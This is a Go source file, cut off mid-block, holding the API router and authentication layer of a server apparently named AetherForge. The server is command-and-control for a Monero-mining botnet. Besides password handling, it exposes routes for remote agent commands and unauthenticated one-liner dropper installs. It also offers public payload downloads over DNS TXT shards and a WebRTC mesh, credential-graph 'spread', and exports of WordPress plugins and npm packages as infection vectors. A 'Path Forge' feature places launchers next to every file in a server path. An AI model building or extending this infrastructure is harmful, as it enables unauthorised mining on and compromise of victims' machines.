Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
889 lines
30 KiB
Go
889 lines
30 KiB
Go
package api
|
|
|
|
import (
|
|
"crypto/rand"
|
|
"crypto/sha256"
|
|
"crypto/subtle"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"fmt"
|
|
"log"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"sort"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
"unicode"
|
|
|
|
"crypto-miner-server/internal/builder"
|
|
"crypto-miner-server/internal/db"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
"github.com/go-chi/chi/v5/middleware"
|
|
"github.com/go-chi/cors"
|
|
"golang.org/x/crypto/bcrypt"
|
|
)
|
|
|
|
// authSessionCache avoids running bcrypt on every API request.
|
|
// Key: SHA-256(user+":"+password) hex — value: expiry time.
|
|
// Entries are valid for authCacheTTL after the last successful login.
|
|
// Bcrypt only runs on cache miss or expiry.
|
|
var (
|
|
authSessionCache = map[string]time.Time{}
|
|
authSessionCacheMu sync.Mutex
|
|
authCacheTTL = 5 * time.Minute
|
|
|
|
// builtinSecondaryUser is provisioned on every deck start if missing (random password in login-credentials.json).
|
|
builtinSecondaryUser = "comrade"
|
|
)
|
|
|
|
func authCacheKey(user, pass string) string {
|
|
h := sha256.Sum256([]byte(user + ":" + pass))
|
|
return hex.EncodeToString(h[:])
|
|
}
|
|
|
|
func authCacheHit(user, pass string) bool {
|
|
key := authCacheKey(user, pass)
|
|
authSessionCacheMu.Lock()
|
|
defer authSessionCacheMu.Unlock()
|
|
exp, ok := authSessionCache[key]
|
|
return ok && time.Now().Before(exp)
|
|
}
|
|
|
|
func authCacheSet(user, pass string) {
|
|
key := authCacheKey(user, pass)
|
|
authSessionCacheMu.Lock()
|
|
defer authSessionCacheMu.Unlock()
|
|
authSessionCache[key] = time.Now().Add(authCacheTTL)
|
|
// Prune expired entries opportunistically.
|
|
if len(authSessionCache) > 512 {
|
|
now := time.Now()
|
|
for k, v := range authSessionCache {
|
|
if now.After(v) {
|
|
delete(authSessionCache, k)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
var (
|
|
// authUsers is populated from data/users.json on startup. Plain-text copies
|
|
// for console display live in data/login-credentials.json (0600).
|
|
authUsers = map[string]string{}
|
|
usersFilePath string
|
|
usersMu sync.RWMutex
|
|
authLoadMu sync.Mutex
|
|
authLoadedDataDir string
|
|
|
|
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
|
|
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
|
|
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
|
|
fleetSecretForAgentPaths string
|
|
fleetSecretForAgentPathsMu sync.RWMutex
|
|
|
|
// rotateSecretFn is called when POST /server/rotate-secret is hit.
|
|
// Wired from main.go so the server can generate, persist, and propagate the new secret.
|
|
rotateSecretFn func() (string, error)
|
|
)
|
|
|
|
// SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify
|
|
// X-Fleet-Secret headers on /api/v1/agent/* routes.
|
|
func SetAgentPathSecret(secret string) {
|
|
fleetSecretForAgentPathsMu.Lock()
|
|
fleetSecretForAgentPaths = secret
|
|
fleetSecretForAgentPathsMu.Unlock()
|
|
}
|
|
|
|
// SetRotateSecretFn registers the callback that handles POST /server/rotate-secret.
|
|
func SetRotateSecretFn(fn func() (string, error)) {
|
|
rotateSecretFn = fn
|
|
}
|
|
|
|
// isBcryptHash returns true when s looks like a bcrypt hash ($2a$, $2b$, $2y$).
|
|
func isBcryptHash(s string) bool {
|
|
return len(s) > 4 && s[0] == '$' && s[1] == '2'
|
|
}
|
|
|
|
// hashPassword returns a bcrypt hash of password (cost 12).
|
|
func hashPassword(password string) (string, error) {
|
|
h, err := bcrypt.GenerateFromPassword([]byte(password), 12)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return string(h), nil
|
|
}
|
|
|
|
// checkPassword verifies password against the stored value. Stored values are
|
|
// always bcrypt hashes after migration; plain-text legacy values are accepted
|
|
// once then re-hashed automatically.
|
|
func checkPassword(stored, provided string) bool {
|
|
if isBcryptHash(stored) {
|
|
return bcrypt.CompareHashAndPassword([]byte(stored), []byte(provided)) == nil
|
|
}
|
|
// Legacy plain-text comparison (constant-time).
|
|
return subtle.ConstantTimeCompare([]byte(provided), []byte(stored)) == 1
|
|
}
|
|
|
|
func loginSidecarPath(dataDir string) string {
|
|
return filepath.Join(dataDir, "login-credentials.json")
|
|
}
|
|
|
|
func readLoginSidecar(path string) (map[string]string, error) {
|
|
data, err := os.ReadFile(path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
var creds map[string]string
|
|
if err := json.Unmarshal(data, &creds); err != nil {
|
|
return nil, err
|
|
}
|
|
if len(creds) == 0 {
|
|
return nil, fmt.Errorf("empty login sidecar")
|
|
}
|
|
return creds, nil
|
|
}
|
|
|
|
func writeLoginSidecar(path string, creds map[string]string) error {
|
|
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
|
return err
|
|
}
|
|
data, err := json.MarshalIndent(creds, "", " ")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(path, data, 0600)
|
|
}
|
|
|
|
func upsertLoginSidecar(dataDir, username, password string) error {
|
|
path := loginSidecarPath(dataDir)
|
|
creds, _ := readLoginSidecar(path)
|
|
if creds == nil {
|
|
creds = map[string]string{}
|
|
}
|
|
creds[username] = password
|
|
return writeLoginSidecar(path, creds)
|
|
}
|
|
|
|
func printStartupCredentials(dataDir string) {
|
|
creds, err := readLoginSidecar(loginSidecarPath(dataDir))
|
|
if err != nil || len(creds) == 0 {
|
|
return
|
|
}
|
|
fmt.Println(formatLoginBanner(creds))
|
|
}
|
|
|
|
func formatLoginBanner(creds map[string]string) string {
|
|
var b strings.Builder
|
|
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
|
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
|
b.WriteString("║ ║\n")
|
|
users := make([]string, 0, len(creds))
|
|
for user := range creds {
|
|
users = append(users, user)
|
|
}
|
|
sort.Strings(users)
|
|
for _, user := range users {
|
|
pass := creds[user]
|
|
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
|
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
|
b.WriteString("║ ║\n")
|
|
}
|
|
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
|
|
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
|
b.WriteString("╚══════════════════════════════════════════════════╝\n")
|
|
return b.String()
|
|
}
|
|
|
|
// LoadUsers loads dashboard accounts and prints login credentials to the console.
|
|
// Call once during startup (before heavy init) so operators always see passwords.
|
|
func LoadUsers(dataDir string) {
|
|
ensureUsersLoaded(dataDir)
|
|
printStartupCredentials(dataDir)
|
|
}
|
|
|
|
func ensureUsersLoaded(dataDir string) {
|
|
abs, err := filepath.Abs(dataDir)
|
|
if err != nil {
|
|
abs = dataDir
|
|
}
|
|
authLoadMu.Lock()
|
|
defer authLoadMu.Unlock()
|
|
if authLoadedDataDir == abs {
|
|
return
|
|
}
|
|
bootstrapUsers(dataDir)
|
|
authLoadedDataDir = abs
|
|
}
|
|
|
|
func bootstrapUsers(dataDir string) {
|
|
usersFilePath = filepath.Join(dataDir, "users.json")
|
|
sidecarPath := loginSidecarPath(dataDir)
|
|
usersMu.Lock()
|
|
defer usersMu.Unlock()
|
|
|
|
data, err := os.ReadFile(usersFilePath)
|
|
if err == nil {
|
|
var loaded map[string]string
|
|
if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
|
|
migrated := false
|
|
for u, v := range loaded {
|
|
if !isBcryptHash(v) {
|
|
if h, herr := hashPassword(v); herr == nil {
|
|
loaded[u] = h
|
|
migrated = true
|
|
log.Printf("[Auth] Migrated plain-text password for user %q to bcrypt", u)
|
|
}
|
|
}
|
|
}
|
|
authUsers = loaded
|
|
changed := migrated
|
|
if ensureBuiltinSecondaryUser(authUsers, dataDir) {
|
|
changed = true
|
|
}
|
|
if changed {
|
|
d, _ := json.MarshalIndent(authUsers, "", " ")
|
|
_ = os.WriteFile(usersFilePath, d, 0600)
|
|
}
|
|
reconcileLoginSidecar(dataDir, sidecarPath, loaded)
|
|
return
|
|
}
|
|
}
|
|
|
|
adminPW := generateRandomPassword()
|
|
comradePW := generateRandomPassword()
|
|
adminHash, herr := hashPassword(adminPW)
|
|
if herr != nil {
|
|
adminHash = adminPW
|
|
log.Printf("[Auth] WARNING: bcrypt failed for admin: %v", herr)
|
|
}
|
|
comradeHash, herr := hashPassword(comradePW)
|
|
if herr != nil {
|
|
comradeHash = comradePW
|
|
log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr)
|
|
}
|
|
authUsers = map[string]string{
|
|
"admin": adminHash,
|
|
builtinSecondaryUser: comradeHash,
|
|
}
|
|
if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil {
|
|
d, _ := json.MarshalIndent(authUsers, "", " ")
|
|
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
|
|
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
|
|
}
|
|
_ = writeLoginSidecar(sidecarPath, map[string]string{
|
|
"admin": adminPW,
|
|
builtinSecondaryUser: comradePW,
|
|
})
|
|
}
|
|
}
|
|
|
|
const legacySecondaryUser = "comrad"
|
|
|
|
// ensureBuiltinSecondaryUser adds the comrade account when absent. Password is random and
|
|
// written to login-credentials.json via upsertLoginSidecar. Caller must hold usersMu.
|
|
func ensureBuiltinSecondaryUser(users map[string]string, dataDir string) bool {
|
|
if _, ok := users[builtinSecondaryUser]; ok {
|
|
return false
|
|
}
|
|
if hash, ok := users[legacySecondaryUser]; ok {
|
|
users[builtinSecondaryUser] = hash
|
|
delete(users, legacySecondaryUser)
|
|
sidecarPath := loginSidecarPath(dataDir)
|
|
if creds, err := readLoginSidecar(sidecarPath); err == nil {
|
|
if pw, ok := creds[legacySecondaryUser]; ok {
|
|
delete(creds, legacySecondaryUser)
|
|
creds[builtinSecondaryUser] = pw
|
|
_ = writeLoginSidecar(sidecarPath, creds)
|
|
}
|
|
}
|
|
log.Printf("[Auth] Renamed legacy user %q to %q", legacySecondaryUser, builtinSecondaryUser)
|
|
return true
|
|
}
|
|
pw := generateRandomPassword()
|
|
hashed, herr := hashPassword(pw)
|
|
if herr != nil {
|
|
hashed = pw
|
|
log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr)
|
|
}
|
|
users[builtinSecondaryUser] = hashed
|
|
if err := upsertLoginSidecar(dataDir, builtinSecondaryUser, pw); err != nil {
|
|
log.Printf("[Auth] WARNING: could not update login-credentials.json for %q: %v", builtinSecondaryUser, err)
|
|
}
|
|
log.Printf("[Auth] Created builtin user %q (password in login-credentials.json)", builtinSecondaryUser)
|
|
return true
|
|
}
|
|
|
|
func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) {
|
|
if _, err := readLoginSidecar(sidecarPath); err == nil {
|
|
return
|
|
}
|
|
if _, ok := users["admin"]; !ok {
|
|
return
|
|
}
|
|
pw := generateRandomPassword()
|
|
hashed, herr := hashPassword(pw)
|
|
if herr != nil {
|
|
log.Printf("[Auth] WARNING: could not regenerate admin password: %v", herr)
|
|
return
|
|
}
|
|
users["admin"] = hashed
|
|
authUsers = users
|
|
d, _ := json.MarshalIndent(authUsers, "", " ")
|
|
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
|
|
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
|
|
return
|
|
}
|
|
if writeErr := writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}); writeErr != nil {
|
|
log.Printf("[Auth] WARNING: could not save login-credentials.json: %v", writeErr)
|
|
return
|
|
}
|
|
log.Printf("[Auth] Regenerated admin password (login-credentials.json was missing)")
|
|
}
|
|
|
|
// generateRandomPassword returns an 8-character password (4 random bytes as hex).
|
|
func validateDashboardUsername(username string) error {
|
|
if len(username) < 3 || len(username) > 32 {
|
|
return fmt.Errorf("username must be 3-32 characters")
|
|
}
|
|
for _, c := range username {
|
|
if !unicode.IsLetter(c) && !unicode.IsDigit(c) && c != '_' && c != '-' {
|
|
return fmt.Errorf("username contains invalid characters")
|
|
}
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func generateRandomPassword() string {
|
|
b := make([]byte, 8)
|
|
if _, err := rand.Read(b); err != nil {
|
|
return "aether1!"
|
|
}
|
|
return hex.EncodeToString(b)
|
|
}
|
|
|
|
func saveUser(username, password string) error {
|
|
hashed, err := hashPassword(password)
|
|
if err != nil {
|
|
return fmt.Errorf("bcrypt: %w", err)
|
|
}
|
|
usersMu.Lock()
|
|
authUsers[username] = hashed
|
|
if usersFilePath == "" {
|
|
usersFilePath = filepath.Join("data", "users.json")
|
|
}
|
|
dataDir := filepath.Dir(usersFilePath)
|
|
if err := os.MkdirAll(dataDir, 0755); err != nil {
|
|
usersMu.Unlock()
|
|
return err
|
|
}
|
|
data, _ := json.MarshalIndent(authUsers, "", " ")
|
|
if err := os.WriteFile(usersFilePath, data, 0600); err != nil {
|
|
usersMu.Unlock()
|
|
return err
|
|
}
|
|
usersMu.Unlock()
|
|
authSessionCacheMu.Lock()
|
|
authSessionCache = map[string]time.Time{}
|
|
authSessionCacheMu.Unlock()
|
|
if err := upsertLoginSidecar(dataDir, username, password); err != nil {
|
|
log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
|
|
}
|
|
return nil
|
|
}
|
|
|
|
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
|
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
|
// must not trigger that — only bare browser navigations without these headers should.
|
|
func isSPAAuthRequest(r *http.Request) bool {
|
|
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
|
}
|
|
|
|
func basicAuthMiddleware(next http.Handler) http.Handler {
|
|
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
if r.Method == http.MethodOptions {
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
path := r.URL.Path
|
|
|
|
// Health check and one-liner installer endpoints are always open.
|
|
// NOTE: build download/artifact routes are intentionally NOT in this list —
|
|
// they require fleet-secret or Basic Auth (see isDownload block below).
|
|
if path == "/api/v1/health" ||
|
|
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
|
strings.HasPrefix(path, "/api/v1/public/") {
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
|
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
|
// legitimately forged agents can call these endpoints.
|
|
// A missing or empty fleet secret is always rejected — the server auto-
|
|
// generates one at startup so this state should never occur in production.
|
|
if strings.HasPrefix(path, "/api/v1/agent/") {
|
|
fleetSecretForAgentPathsMu.RLock()
|
|
secret := fleetSecretForAgentPaths
|
|
fleetSecretForAgentPathsMu.RUnlock()
|
|
if secret == "" {
|
|
http.Error(w, "server not ready: fleet secret not configured", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
provided := r.Header.Get("X-Fleet-Secret")
|
|
if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 {
|
|
http.Error(w, "Forbidden", http.StatusForbidden)
|
|
return
|
|
}
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
// Build download/artifact/uninstall routes: accept fleet secret OR Basic Auth.
|
|
// This lets forged agents self-upgrade (they have the fleet secret baked in)
|
|
// while still requiring credentials for unauthenticated callers.
|
|
isDownload := strings.HasPrefix(path, "/api/v1/builds/") &&
|
|
(strings.HasSuffix(path, "/download") ||
|
|
strings.Contains(path, "/artifact/") ||
|
|
strings.HasSuffix(path, "/uninstall"))
|
|
if isDownload {
|
|
fleetSecretForAgentPathsMu.RLock()
|
|
secret := fleetSecretForAgentPaths
|
|
fleetSecretForAgentPathsMu.RUnlock()
|
|
provided := r.Header.Get("X-Fleet-Secret")
|
|
if secret != "" && subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) == 1 {
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
// Fall through to Basic Auth below.
|
|
}
|
|
|
|
user, pass, ok := r.BasicAuth()
|
|
if !ok {
|
|
if !isSPAAuthRequest(r) {
|
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
|
}
|
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
|
return
|
|
}
|
|
|
|
// Fast path — skip bcrypt if this credential pair was recently validated.
|
|
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
|
if !authCacheHit(user, pass) {
|
|
usersMu.RLock()
|
|
storedHash, exists := authUsers[user]
|
|
usersMu.RUnlock()
|
|
|
|
if !exists || !checkPassword(storedHash, pass) {
|
|
if !isSPAAuthRequest(r) {
|
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
|
}
|
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
|
return
|
|
}
|
|
// Credential verified — cache it for the next few minutes.
|
|
authCacheSet(user, pass)
|
|
}
|
|
|
|
next.ServeHTTP(w, withAuthUser(r, user))
|
|
})
|
|
}
|
|
|
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
|
ensureUsersLoaded(dataDir)
|
|
|
|
version := "AetherForge"
|
|
if len(serverVersion) > 0 && serverVersion[0] != "" {
|
|
version = serverVersion[0]
|
|
}
|
|
|
|
r := chi.NewRouter()
|
|
|
|
// Middleware (global)
|
|
r.Use(middleware.Logger)
|
|
r.Use(middleware.Recoverer)
|
|
r.Use(cors.Handler(cors.Options{
|
|
AllowedOrigins: []string{"*"},
|
|
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
|
|
// X-Fleet-Secret is required by agent-facing endpoints; include it so
|
|
// browser-based callers (dev tools, custom dashboards) are not blocked
|
|
// by CORS preflight when sending that header.
|
|
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret", "X-AetherForge-Client"},
|
|
AllowCredentials: false,
|
|
}))
|
|
|
|
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
|
|
r.Route("/api/v1", func(r chi.Router) {
|
|
r.Use(basicAuthMiddleware)
|
|
h := NewHandler(database)
|
|
|
|
r.Get("/health", h.HealthCheck)
|
|
r.Post("/auth/ws-ticket", func(w http.ResponseWriter, req *http.Request) {
|
|
user := AuthUsername(req)
|
|
if user == "" {
|
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
|
return
|
|
}
|
|
ticket := issueWSTicket(user)
|
|
writeJSON(w, map[string]interface{}{
|
|
"ticket": ticket,
|
|
"expires_in": int(wsTicketTTL.Seconds()),
|
|
})
|
|
})
|
|
r.Get("/server/ready", h.ServerReady)
|
|
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
|
|
override := ""
|
|
if publicURLOverride != nil {
|
|
override = publicURLOverride()
|
|
}
|
|
tunnelReady := false
|
|
if cloudflaredConfigured != nil {
|
|
tunnelReady = cloudflaredConfigured()
|
|
}
|
|
GetServerInfo(w, r, override, listenPort, tunnelReady, version)
|
|
})
|
|
|
|
// Dashboard
|
|
r.Get("/dashboard/stats", h.GetDashboardStats)
|
|
|
|
vulnHandler := NewVulnHandler()
|
|
r.Get("/vuln/catalog", vulnHandler.Catalog)
|
|
|
|
// Agents
|
|
r.Get("/agents", h.ListAgents)
|
|
r.Get("/agents/{id}", h.GetAgent)
|
|
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
|
if fleetHandler != nil {
|
|
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
|
r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL)
|
|
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
|
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
|
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)
|
|
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
|
|
r.Post("/agents/bulk-delete", fleetHandler.BulkDeleteAgents)
|
|
}
|
|
|
|
// Fleet ops
|
|
strategyHandler := NewStrategyHandler(wsHub)
|
|
r.Post("/strategy/recompute", strategyHandler.PostRecompute)
|
|
phenotypeHandler := NewPhenotypeHandler(database)
|
|
r.Get("/phenotypes", phenotypeHandler.List)
|
|
|
|
if fleetHandler != nil {
|
|
r.Get("/alerts", fleetHandler.GetAlerts)
|
|
r.Post("/alerts/test", fleetHandler.PostAlertTest)
|
|
r.Get("/pools/status", fleetHandler.GetPoolStatus)
|
|
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
|
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
|
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
|
|
r.Get("/audit", fleetHandler.GetAudit)
|
|
r.Get("/fleet-tasks", fleetHandler.GetFleetTasks)
|
|
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
|
|
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
|
|
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
|
|
r.Put("/fleet/policy", fleetHandler.PutFleetPolicy)
|
|
r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush)
|
|
}
|
|
if fleetAIHandler != nil {
|
|
r.Get("/ai/models", fleetAIHandler.GetModels)
|
|
r.Get("/ai/config", fleetAIHandler.GetConfig)
|
|
r.Put("/ai/config", fleetAIHandler.PutConfig)
|
|
r.Get("/ai/decisions", fleetAIHandler.GetDecisions)
|
|
r.Get("/ai/clearance-events", fleetAIHandler.GetClearanceEvents)
|
|
}
|
|
|
|
moduleStore := NewModuleStore(dataDir, func() string {
|
|
fleetSecretForAgentPathsMu.RLock()
|
|
s := fleetSecretForAgentPaths
|
|
fleetSecretForAgentPathsMu.RUnlock()
|
|
return s
|
|
})
|
|
moduleHandler := NewModuleHandler(moduleStore)
|
|
r.Get("/fleet/modules", moduleHandler.ListModules)
|
|
|
|
// Shares
|
|
r.Get("/shares", h.GetRecentShares)
|
|
|
|
// Builds
|
|
r.Get("/builds", h.ListBuilds)
|
|
r.Put("/builds/{id}/pin", h.PinBuild)
|
|
if spreadHandler != nil {
|
|
r.Put("/builds/{id}/public", spreadHandler.SetBuildPublic)
|
|
}
|
|
r.Delete("/builds/pin", h.UnpinAll)
|
|
r.Delete("/builds/{id}", h.DeleteBuild)
|
|
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
|
|
r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
|
|
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
|
|
|
|
// Config
|
|
r.Get("/config", configHandler.ServeHTTP)
|
|
r.Put("/config", configHandler.ServeHTTP)
|
|
|
|
// Builder
|
|
r.Post("/builder/build", builderHandler.ServeHTTP)
|
|
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
|
if spreadHandler != nil {
|
|
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
|
|
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
|
|
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
|
|
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
|
|
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
|
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
|
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
|
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
|
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
|
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
|
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
|
}
|
|
// Path Forge: walk a local server path, place launchers next to every file
|
|
if pathForgeHandler != nil {
|
|
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
|
|
}
|
|
r.Get("/builder/progress/{token}", builderHandler.ServeProgress)
|
|
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
|
|
token := chi.URLParam(req, "token")
|
|
if builderHandler.CancelBuild(token) {
|
|
writeJSON(w, map[string]interface{}{"cancelled": true})
|
|
} else {
|
|
http.Error(w, "build not found or already completed", http.StatusNotFound)
|
|
}
|
|
})
|
|
|
|
// Blueprints (config presets)
|
|
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
|
r.Post("/blueprints", blueprintHandler.ServeHTTP)
|
|
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
|
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
|
|
|
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
|
// Forged agents with the old secret will be rejected until re-forged.
|
|
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
|
if rotateSecretFn == nil {
|
|
http.Error(w, "rotation not configured", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
newSecret, err := rotateSecretFn()
|
|
if err != nil {
|
|
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
hint := newSecret
|
|
if n := len(hint); n > 8 {
|
|
hint = hint[:8] + "..."
|
|
} else if n > 0 {
|
|
hint += "..."
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true, "hint": hint})
|
|
})
|
|
|
|
// User Management
|
|
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
|
|
var payload struct {
|
|
Username string `json:"username"`
|
|
Password string `json:"password"`
|
|
}
|
|
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil {
|
|
http.Error(w, "Invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
payload.Username = strings.TrimSpace(payload.Username)
|
|
if err := validateDashboardUsername(payload.Username); err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
if len(payload.Password) < 4 || len(payload.Password) > 128 {
|
|
http.Error(w, "password must be 4-128 characters", http.StatusBadRequest)
|
|
return
|
|
}
|
|
usersMu.RLock()
|
|
_, exists := authUsers[payload.Username]
|
|
usersMu.RUnlock()
|
|
if exists {
|
|
http.Error(w, "username already exists", http.StatusConflict)
|
|
return
|
|
}
|
|
if err := saveUser(payload.Username, payload.Password); err != nil {
|
|
http.Error(w, "Failed to save user", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"success": true})
|
|
})
|
|
|
|
// Deck backup — authenticated full backup ZIP (config + DB + users)
|
|
backupH := NewBackupHandler(dataDir, version)
|
|
r.Get("/backup", backupH.ServeHTTP)
|
|
|
|
// Path Tracer — on-demand WireGuard chain sessions
|
|
if pathTracerHandler != nil {
|
|
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
|
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
|
r.Post("/pathtrace/spread", pathTracerHandler.Spread)
|
|
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
|
|
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
|
|
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
|
}
|
|
|
|
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
|
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
|
r.Post("/agent/decide", aiHandler.HandleDecide)
|
|
r.Post("/agent/report", aiHandler.HandleReport)
|
|
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
|
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
|
|
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
|
|
if spreadCredHandler != nil {
|
|
r.Post("/agent/spread-cred/issue", spreadCredHandler.IssueToken)
|
|
r.Post("/agent/spread-cred/redeem", spreadCredHandler.RedeemToken)
|
|
r.Post("/agent/spread-cred/report", spreadCredHandler.ReportEdge)
|
|
}
|
|
if deployPlanHandler != nil {
|
|
r.Post("/agent/deploy-plan", deployPlanHandler.PostDeployPlan)
|
|
}
|
|
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
|
|
|
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
|
if publicHandler != nil {
|
|
r.Get("/public/builds", publicHandler.ListBuilds)
|
|
r.Get("/public/download/{id}", publicHandler.Download)
|
|
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
|
|
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
|
|
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
|
}
|
|
})
|
|
|
|
// WebSocket
|
|
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
|
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
|
|
|
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
|
if dropperHandler != nil {
|
|
